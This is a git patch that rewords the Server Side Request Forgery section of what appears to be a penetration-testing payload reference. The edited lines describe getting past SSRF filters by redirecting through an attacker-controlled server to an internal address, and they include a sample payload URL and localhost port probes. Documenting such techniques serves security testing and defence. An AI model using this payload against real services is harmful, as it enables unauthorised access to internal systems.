From 6d37ad9e2e8c9b7d84ffcbacb31ae88b59f70432 Mon Sep 17 00:00:00 2001 From: Alex Lauerman Date: Sun, 21 Jun 2020 16:19:15 -0500 Subject: [PATCH] Improved Clarity of ssrf redirect --- Server Side Request Forgery/README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Server Side Request Forgery/README.md b/Server Side Request Forgery/README.md index 19ba16e..161e267 100644 --- a/Server Side Request Forgery/README.md +++ b/Server Side Request Forgery/README.md @@ -79,11 +79,11 @@ http://localhost:443 http://localhost:22 ``` -Advanced exploit [using a redirection](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection) +Advanced exploit [using a redirect](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection) ```powershell -1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com -2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP +1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1) +2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://YOUR_SERVER_IP vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1 ```